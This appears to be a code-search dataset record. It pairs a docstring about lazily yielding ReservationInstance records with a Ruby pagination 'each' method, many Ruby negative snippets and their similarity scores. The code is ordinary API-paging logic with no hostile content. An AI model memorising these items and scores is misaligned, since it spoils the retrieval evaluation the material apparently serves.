"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n \n page = self.page(\n page_size: limits['page_size'],\n )\n \n @version.stream(page,\n limit: limits['limit'],\n page_limit: limits['page_limit']).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size],)\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def instances\n instances = []\n JSON.parse(resource['/instances'].get)[\"instances\"].each do |i|\n instances << Instance.new(i)\n end\n return instances\n end",
"def list(limit: nil, page_size: nil)\n self.stream(limit: limit, page_size: page_size).entries\n end",
"def list(limit: nil, page_size: nil)\n self.stream(limit: limit, page_size: page_size).entries\n end",
"def list(limit: nil, page_size: nil)\n self.stream(limit: limit, page_size: page_size).entries\n end",
"def init_instances\n instances = []\n next_token = nil\n all_records_retrieved = false\n\n until all_records_retrieved\n response = @@client.describe_instances({\n next_token: next_token\n })\n next_token = response.next_token\n all_records_retrieved = next_token.nil? || next_token.empty?\n instances << response.reservations.map { |r| r.instances }\n end\n\n instances.flatten\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def list(limit: nil, page_size: nil)\n self.stream(\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(limit: nil, page_size: nil)\n self.stream(\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(limit: nil, page_size: nil)\n self.stream(\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(limit: nil, page_size: nil)\n self.stream(\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(limit: nil, page_size: nil)\n self.stream(\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(limit: nil, page_size: nil)\n self.stream(\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def stream(order: :unset, status: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n order: order,\n status: status,\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(order: :unset, status: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n order: order,\n status: status,\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def all(options={})\n offset = nil\n results = []\n begin\n options.merge!(:limit => LIMIT_MAX, :offset => offset)\n response = records(options)\n results += response.records\n offset = response.offset\n end until offset.nil? || offset.empty? || results.empty?\n results\n end",
"def load_records\n native_instance(true)\n native_instance.top(limit) if limit.present?\n Array(service.native_instance.execute)\n end",
"def each_instance( limit = %w[ all ])\n limit = [ limit ].flatten\n every = (limit.first == \"all\")\n\n instances.keys.sort.each do |name|\n if every or limit.include?( name ) then\n yield instances[name]\n end\n end\n end",
"def instances\n @instances ||= aws_client.instances(filters: instance_filters).map do |instance|\n OpenStruct.new(\n with_tags(instance, private_ip: instance.private_ip_address,\n public_ip: instance.public_ip_address,\n instance: instance.instance_id)\n )\n end\n end",
"def stream(friendly_name: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n friendly_name: friendly_name,\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(friendly_name: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n friendly_name: friendly_name,\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(eid: :unset, sim_sid: :unset, status: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n eid: eid,\n sim_sid: sim_sid,\n status: status,\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def records\n Importu::Record::Iterator.new(@source.rows, config)\n end",
"def serialize_records\n return nil unless last_response.respond_to?(:records)\n\n last_response.records.map do |remote_record|\n record = self.class.allocate\n record.instantiate(remote_record.to_hash)\n record\n end\n end",
"def enumerator\n Enumerator.new do |yielder|\n response = get_initial_response\n\n loop do\n items = response.records\n\n # If there are no records, we're done\n break if items.empty?\n\n # Otherwise, iterate through the records...\n items.each { |item| yielder << item }\n\n # ...and fetch the next page\n @params ||= {}\n @params[:page] ||= 1\n @params[:page] += 1\n\n response = @service.list(**@params)\n end\n end.lazy\n end",
"def fetch_instance(shortname = :all, options = {})\n return instances if instances && !options[:force]\n\n fetch_stack\n unless instance_list\n self.instance_list = self.instances =\n aws_client.describe_instances(stack_id: stack[:stack_id])[:instances]\n end\n\n if shortname != :all\n fetch_layer(shortname, force: true)\n self.instances = []\n\n layers.each do |layer|\n instance = aws_client.describe_instances(\n layer_id: layer[:layer_id])\n self.instances << instance[:instances]\n end\n\n self.instances.flatten!\n end\n end",
"def find_all(offset: 0, limit: 0)\n result = instance.all.to_a\n\n return result if offset == 0 && limit == 0\n return result.slice(offset, result.count) if limit == 0\n result[offset...limit]\n end",
"def records(_options = {})\n if defined?(_resource_klass.records)\n _resource_klass.records(_options)\n else\n _resource_klass._model_class.all\n end\n end",
"def stream(recurring: :unset, trigger_by: :unset, usage_category: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n recurring: recurring,\n trigger_by: trigger_by,\n usage_category: usage_category,\n page_size: limits[:page_size],\n )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def instances\n Egi::Fedcloud::Vmhound::Log.info \"[#{self.class}] Retrieving active instances\"\n fetch_instances\n end",
"def streams\n ::M2X::Client::Stream.list(@client, self)\n end",
"def stream(authorization: :unset, include_inactive: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n authorization: authorization,\n include_inactive: include_inactive,\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def each\n params = {}\n if range[:begin]\n begin_key = range[:begin_inclusive] ? :start : :after\n params[begin_key] = range[:begin]\n end\n if range[:end]\n end_key = range[:end_inclusive] ? :end : :before\n params[end_key] = range[:end]\n end\n params[:limit] = range[:limit]\n @response ||= collection.perform(:list, params)\n return enum_for(:each) unless block_given?\n raise ResultsNotReady.new if collection.app.inside_parallel?\n loop do\n @response.results.each do |doc|\n yield KeyValue.from_listing(collection, doc, @response)\n end\n break unless @response.next_link\n @response = @response.next_results\n end\n @response = nil\n end",
"def load\n data = []\n page = 1\n total_size = 0\n\n loop do\n request_url = \"#{@request_url_base}&page=#{page}&api_key=#{@api_key}\"\n response = Faraday.get(request_url)\n\n response_json = JSON.parse(response.body)\n\n break if response_json.empty?\n\n response_json.each do |item|\n data << item\n end\n\n unless @limit.nil?\n total_size += response_json.length\n\n break if total_size > @limit\n end\n\n page += 1\n end\n\n data = data.first(@limit) unless @limit.nil?\n\n data\n end",
"def list(order: :unset, status: :unset, limit: nil, page_size: nil)\n self.stream(\n order: order,\n status: status,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(order: :unset, status: :unset, limit: nil, page_size: nil)\n self.stream(\n order: order,\n status: status,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def all\n response = run\n\n while continue?(response)\n @options[:exclusive_start_key] = response.last_evaluated_key\n response = run(response)\n end\n\n @collection.deserialize(response.entities)\n end",
"def records(opts = {})\n opts = opts.merge(@opts)\n client.list_records(opts).full.lazy.flat_map do |rec|\n @record_class.build(mint_id(rec.header.identifier),\n record_xml(rec))\n\n end\n end",
"def all(offset = 0, limit = 0)\n @client.get(\"/#{@model}s\", {offset: offset, limit: limit})\n end",
"def to_a\n return @records unless loadable?\n\n @response = cache.get_or_set_query(klass, options) do\n connection.documents({ query: options })\n end\n\n @records = []\n\n if @response.success?\n records = @response.members.attributes[\"query\"]\n\n records.each do |record|\n @records << klass.new(record.merge(persisted: true))\n end\n\n @loaded = true\n end\n\n @records\n end",
"def retrieve_records(limits)\n limit = (limits[:limit].presence || 10).to_i\n offset = limits[:offset].presence.to_i\n account_id = limits[:account_id]\n\n records = account_id.present? ? where(AccountId: account_id) : all\n\n records.offset(offset).limit(limit)\n end",
"def stream(status: :unset, unique_name: :unset, date_created_after: :unset, date_created_before: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n status: status,\n unique_name: unique_name,\n date_created_after: date_created_after,\n date_created_before: date_created_before,\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(status: :unset, fleet: :unset, iccid: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n status: status,\n fleet: fleet,\n iccid: iccid,\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def take(limit=1)\n limit(limit).to_a\n end",
"def get_all_objects(class_name, count)\n per_page = 1000\n objects = []\n times = [(count/per_page.to_f).ceil, 10].min\n 0.upto(times) do |offset|\n query = Parse::Query.new(class_name)\n query.limit = per_page\n query.skip = offset * per_page\n objects << query.get\n end\n objects.flatten(1)\n end",
"def each\n (0...record_count).each do |i|\n yield get_record(i)\n end\n end",
"def records\n live_lookup_service.new(@ids).records\n end",
"def records\n @records ||= Records.new(klass, self)\n end",
"def each\n 0.upto(@record_count - 1) do |n|\n seek_to_record(n)\n yield ADT::Record.new(self)\n end\n end",
"def index\n page = params[:page]\n per_page = (params[:per_page] || 10).to_i\n if page\n entities = _all_instances_query.page(page).per(per_page)\n render json: entities, entity: _get_class,\n meta: { total_pages: entities.total_pages, total_count: entities.total_count }\n else\n entities = _all_instances_query\n respond_with entities, entity: '_get_class'\n end\n end",
"def instances()\n return @instances\n end",
"def instances\n @instances ||= []\n end",
"def list_instances(request_id)\n instances = []\n JSON.parse(resource[\"/requests/#{request_id}\"].get)[\"instances\"].each do |i|\n instances << Instance.new(i)\n end\n end",
"def find_each\n return enum_for(:find_each) unless block_given?\n\n client = IronBank.client\n query_string = IronBank::QueryBuilder.zoql(object_name, query_fields)\n query_result = client.query(query_string) # up to 2k records from Zuora\n\n loop do\n query_result[:records].each { |data| yield new(data) }\n break if query_result[:done]\n\n query_result = client.query_more(query_result[:queryLocator])\n end\n end",
"def entries(limit=nil)\n limit ||= -1\n LiveJournal::Request::GetEvents.new(@user, :recent => limit, :strict => false).run\n end",
"def list(friendly_name: :unset, limit: nil, page_size: nil)\n self.stream(\n friendly_name: friendly_name,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(friendly_name: :unset, limit: nil, page_size: nil)\n self.stream(\n friendly_name: friendly_name,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def recent_stream_items(opts={})\n self.shard.activate do\n Shackles.activate(:slave) do\n visible_instances = visible_stream_item_instances(opts).\n preload(stream_item: :context).\n limit(Setting.get('recent_stream_item_limit', 100))\n visible_instances.map do |sii|\n si = sii.stream_item\n next if si.blank?\n next if si.asset_type == 'Submission'\n next if si.context_type == \"Course\" && (si.context.concluded? || self.participating_enrollments.none?{|e| e.course_id == si.context_id})\n si.unread = sii.unread?\n si\n end.compact\n end\n end\n end",
"def stream(enabled: :unset, date_created_after: :unset, date_created_before: :unset, friendly_name: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n enabled: enabled,\n date_created_after: date_created_after,\n date_created_before: date_created_before,\n friendly_name: friendly_name,\n page_size: limits[:page_size],\n )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def make_stream(offset=0)\n # awesome function..\n # any object can be added to the stream and then the stream sorts itself automatically. so pretty and simple :)\n stream = wall_posts\n stream.limit(10).offset(offset)\n end",
"def records(opts = {})\n view = opts[:view] || @opts[:view]\n client.view(view, include_docs: true, stream: true).docs.lazy.map do |r|\n @record_class.build(mint_id(r['_id']), r.to_json, 'application/json')\n end\n end"
] |
[
"0.6504",
"0.64974874",
"0.6495632",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6494728",
"0.6490295",
"0.6480776",
"0.64681935",
"0.64681935",
"0.64675",
"0.64675",
"0.64675",
"0.64675",
"0.64675",
"0.6332588",
"0.62571496",
"0.6244027",
"0.6244027",
"0.61625797",
"0.6056585",
"0.60523343",
"0.60523343",
"0.6045291",
"0.6045291",
"0.6045291",
"0.6045291",
"0.6045291",
"0.6045291",
"0.60154665",
"0.60154665",
"0.60085344",
"0.60085344",
"0.60085344",
"0.60085344",
"0.60085344",
"0.60085344",
"0.5989728",
"0.5920737",
"0.5875154",
"0.5866812",
"0.5829629",
"0.5829629",
"0.5759106",
"0.5745457",
"0.57159984",
"0.5667991",
"0.56424934",
"0.5623422",
"0.5609792",
"0.5608195",
"0.556749",
"0.55431736",
"0.5537475",
"0.55289024",
"0.5523912",
"0.55035657",
"0.55035657",
"0.5478106",
"0.54726666",
"0.54603386",
"0.5456362",
"0.54504234",
"0.5433871",
"0.5426608",
"0.5416631",
"0.54161817",
"0.54068345",
"0.54021645",
"0.5396464",
"0.53874105",
"0.5375984",
"0.53756714",
"0.535589",
"0.53435874",
"0.53371996",
"0.53226554",
"0.5316657",
"0.5316657",
"0.530099",
"0.5300445",
"0.5284284",
"0.527683"
] |
0.0
|
-1
|
When passed a block, yields ReservationInstance records from the API. This operation lazily loads records as efficiently as possible until the limit is reached.
|
def each
limits = @version.read_limits
page = self.page(page_size: limits[:page_size], )
@version.stream(page,
limit: limits[:limit],
page_limit: limits[:page_limit]).each {|x| yield x}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def init_instances\n instances = []\n next_token = nil\n all_records_retrieved = false\n\n until all_records_retrieved\n response = @@client.describe_instances({\n next_token: next_token\n })\n next_token = response.next_token\n all_records_retrieved = next_token.nil? || next_token.empty?\n instances << response.reservations.map { |r| r.instances }\n end\n\n instances.flatten\n end",
"def existing_reservations\n start_dt = self.start_dt.try(:to_datetime).try(:change, offset: \"+0000\")\n end_dt = self.end_dt.try(:to_datetime).try(:change, offset: \"+0000\")\n room_id = self.room.try(:id)\n results_size = (self.is_block?) ? 1000 : 1\n\n return [] if room_id.blank? || start_dt.blank? || end_dt.blank?\n block_query = [{ term: { is_block: false } }, { range: { end_dt: { gte: Time.zone.now.to_datetime.change(offset: \"+0000\") } } }]\n query =\n {\n query: {\n constant_score: {\n filter: {\n bool: {\n must: [\n { term: { room_id: room_id } },\n { term: { deleted: false }},\n { bool:\n {\n should: [\n {\n bool: {\n must: [\n { range: { start_dt: { gte: start_dt } } },\n { range: { start_dt: { lt: end_dt } } }\n ]\n }\n },\n {\n bool: {\n must: [\n { range: { end_dt: { gt: start_dt } } },\n { range: { end_dt: { lte: end_dt } } }\n ]\n }\n },\n {\n bool: {\n must: [\n { range: { start_dt: { lte: start_dt } } },\n { range: { end_dt: { gte: end_dt } } }\n ]\n }\n }\n ]\n }\n }\n ]\n }\n }\n }\n },\n size: results_size\n }\n query[:query][:constant_score][:filter][:bool][:must] += block_query if self.is_block?\n return Reservation.search(query).results\n end",
"def request_reservation_within_block(id)\n block_reservation = find_reservation_by_id(id)\n\n id = block_reservation.reservations.length + 1\n room = block_reservation.rooms_available.sample\n raise ArgumentError, \"no rooms available\" if room.nil?\n\n new_reservation = Reservation.new(id, room, block_reservation.start_date,\n block_reservation.end_date, room_cost: 150)\n\n add_reservation(new_reservation,\n reservation_location: block_reservation.reservations)\n # deletes room number from available_rooms\n block_reservation.rooms_available.delete(new_reservation.room)\n\n return new_reservation\n end",
"def index\n @reservations = V2::Reservation.order(id: :desc).page(params[:page])\n end",
"def each(&block)\n @raw_page['records'].each { |record| yield Restforce::Mash.build(record, @client) }\n\n np = next_page\n while np\n np.current_page.each(&block)\n np = np.next_page\n end\n end",
"def reserve_within_block(block_id)\n selected_block = @room_blocks.find { |block| block.id == block_id}\n new_reservation = nil\n dates = date_range(\"#{selected_block.check_in_date}\", \"#{selected_block.check_out_date}\")\n\n selected_block.collection_rooms.each do |room_blocked|\n check_room = @rooms.find { |room| room == room_blocked }\n if is_available?(check_room, dates)\n new_reservation = Reservation.new(check_room, \"#{selected_block.check_in_date}\", \"#{selected_block.check_out_date}\")\n new_reservation.id = assign_res_id\n @reservations << new_reservation\n break\n end\n end\n\n if new_reservation != nil\n return new_reservation\n else\n raise StandardError, 'no rooms available in block'\n end\n end",
"def index\n scope = apply_scopes(Reservation)\n @reservations = scope.respond_to?(:to_a) ? scope.to_a : scope.all\n @reservations = @reservations.paginate(page: params['page'])\n end",
"def request_reservation_from_block(block_name:, booking_name:)\n available = available_rooms_in_block(block_name: block_name)\n\n raise ArgumentError, \"No available rooms remaining in block\" if available.length == 0\n\n reservation = available.first\n reservation.change_booking_name(booking_name: booking_name)\n return reservation\n end",
"def create_reservation_within_block(start_date, end_date, block_id)\n rooms_available = check_availability_within_block(start_date, end_date, block_id)\n room_instances_for_reservation = rooms_available.map {|id| @blocks.find }\n\n\n new_block_reservation = create_reservation_basic(start_date, end_date, rooms_available)\n return new_block_reservation\n end",
"def run\n if params[:instance_id]\n params[:filter] ||= []\n params[:filter] << { name: 'instance-id', value: params[:instance_id] }\n end\n result = generate_result(\n reservation_set: reservations.itemize\n )\n result\n end",
"def each_video(&block)\n page = 1\n loop do\n videos = videos_for_page(page)\n videos.each { |v| yield v }\n\n break if videos.length < API_PER_PAGE\n page += 1\n end\n end",
"def all_sequentially &block\n page, per_page = 1, 5\n begin\n results = paginate(page: page, per_page: per_page, order: '_id asc')\n results.each{|o| block.call o}\n page += 1\n end until results.blank? or results.size < per_page\n end",
"def get_instance_reservations(filters = {})\n AWS.memoize do\n @ec2.regions['us-west-1'].reserved_instances.select do |ins|\n filters.reduce(true) do |memo, filter_kvp|\n memo && ins.send(filter_kvp[0]) == filter_kvp[1]\n end\n end\n end\n end",
"def find_each\n return enum_for(:find_each) unless block_given?\n\n client = IronBank.client\n query_string = IronBank::QueryBuilder.zoql(object_name, query_fields)\n query_result = client.query(query_string) # up to 2k records from Zuora\n\n loop do\n query_result[:records].each { |data| yield new(data) }\n break if query_result[:done]\n\n query_result = client.query_more(query_result[:queryLocator])\n end\n end",
"def list(mixins = nil)\n computes = ::Occi::Core::Resources.new\n\n Backends::Ec2::Helpers::AwsConnectHelper.rescue_aws_service(@logger) do\n rsrvts = @ec2_client.describe_instances.reservations\n rsrvts.each do |reservation|\n next unless reservation && reservation.instances\n reservation.instances.each { |instance| computes << parse_backend_obj(instance, reservation[:reservation_id]) }\n end if rsrvts\n end\n\n computes\n end",
"def each(&block)\n @data.each do |attrs|\n yield @resource_class.new(attrs)\n end\n end",
"def get(options = {}, &block)\n if options[:page]\n self << Pillboxr::Attributes::Lowerlimit.new(options.fetch(:page) * Pillboxr.config.records_per_page)\n end\n @module_name.send(:complete, self, &block)\n end",
"def each\n params = {}\n if range[:begin]\n begin_key = range[:begin_inclusive] ? :start : :after\n params[begin_key] = range[:begin]\n end\n if range[:end]\n end_key = range[:end_inclusive] ? :end : :before\n params[end_key] = range[:end]\n end\n params[:limit] = range[:limit]\n @response ||= collection.perform(:list, params)\n return enum_for(:each) unless block_given?\n raise ResultsNotReady.new if collection.app.inside_parallel?\n loop do\n @response.results.each do |doc|\n yield KeyValue.from_listing(collection, doc, @response)\n end\n break unless @response.next_link\n @response = @response.next_results\n end\n @response = nil\n end",
"def reservations\n @reservations ||= flight.reservations\n end",
"def each(&block)\n if @rows\n # we've been memoized\n @rows.each(&block)\n \n elsif start_record\n # we represent a single page\n # do the fetching and iterate\n @rows = fetch_rows\n\n @rows.each(&block)\n else\n # we represent the whole set of possible records\n # fetch repeatedly, in pages\n page_number = 1\n records_per_page = 100\n \n loop {\n # create a scope for this page\n inner_scope = page(page_number, records_per_page)\n \n # fetch the records as an array\n records = inner_scope.to_a\n \n # pass them to the caller\n records.each(&block)\n \n # is this the last page?\n if records.size < records_per_page\n # was this the first page?\n if page_number == 1\n # this is the only page\n # memoize\n @rows = records\n end\n \n # regardless, we're done\n break\n end\n \n page_number += 1\n }\n \n end\n \n self\n end",
"def each_instance( limit = %w[ all ])\n limit = [ limit ].flatten\n every = (limit.first == \"all\")\n\n instances.keys.sort.each do |name|\n if every or limit.include?( name ) then\n yield instances[name]\n end\n end\n end",
"def describe_instances\n return { reservations: [] } unless configured?\n\n @client.describe_instances.to_h\n end",
"def each_resource(url, offset = 0, &block)\n return enum_for(:each_resource, url) unless block_given?\n return unless url\n\n response = params(offset: offset).get(path: url).json\n\n resources = response.fetch(@array_key.to_sym)\n current_count = response.fetch(:offset) + response.fetch(:limit)\n\n resources&.each { |value| yield value } # rubocop:disable Style/ExplicitBlockArgument\n\n if resources.empty?\n reset_params\n return\n end\n\n each_resource(url, current_count, &block)\n end",
"def create_resource\n # response = ec2.run_instances(\n # node_config(max_count: 1, self.to_h)\n # ).instances.first\n\n instance_attr_accessor response\n # id = @response[:instance_id]\n begin\n ec2.wait_until(:instance_running, instance_ids: [id]) do\n logger.info \"waiting for #{ids.count} Neurons to start...\"\n end\n rescue Aws::Waiters::Errors::WaiterFailed => e\n # TODO: retry stuff\n # redo unless (count += 1 <=3 )\n end\n\n yield self if block_given?\n self\n end",
"def each_page(&block)\n call_client(:each_page, &block)\n end",
"def each\n 0.upto(@record_count - 1) do |n|\n seek_to_record(n)\n yield ADT::Record.new(self)\n end\n end",
"def each\n @scope.each do |record|\n yield record.restrict(@context, options_with_eager_load)\n end\n end",
"def each(&block)\n return enum_for(:each_page) unless block_given?\n response = self\n yield(response)\n until response.last_page?\n response = response.next_page\n yield(response)\n end\n end",
"def create_reservations\n Time.use_zone(@timezone) do\n @reservations = build_reservations\n return nil unless @reservations.any?\n @reservations = commit_reservations(@reservations)\n return nil unless valid? && @reservations.all?(&:persisted?)\n charge(@reservations) && @reservations.each(&:reload) if @pay\n track(@reservations)\n\n @reservations\n end\n end",
"def make_block_reservation(hotel)\n show_blocks(hotel)\n return if hotel.blocks.size == 0\n puts \"\\nEnter the data for the block reservation.\"\n start_date = get_date(\"Start date: \")\n end_date = get_date(\"End date: \")\n room = get_integer(\"Room to reserve: \", 1, 20)\n begin\n block = hotel.blocks_by_room(start_date, end_date, room).first\n rescue => exception\n puts \"Error: #{exception.message}\"\n block = nil\n end\n if block == nil\n puts \"\\nCould not find that block.\"\n else\n begin\n hotel.reserve_from_block(block, room)\n rescue => exception\n puts \"Error: #{exception.message}\"\n end\n end\nend",
"def reserve(*args)\n @reservations << Reservation.new(self, *args)\n end",
"def each(&block)\n records.each(&block)\n end",
"def list(authorization: :unset, segment_id: :unset, reservation_id: :unset, limit: nil, page_size: nil)\n self.stream(\n authorization: authorization,\n segment_id: segment_id,\n reservation_id: reservation_id,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def load_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def each(&block)\n @records.each(&block)\n end",
"def get_resource_reservation_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ResourceApi.get_resource_reservation_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/resource/Reservations'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'ResourceReservationResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"ResourceApi.get_resource_reservation_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n 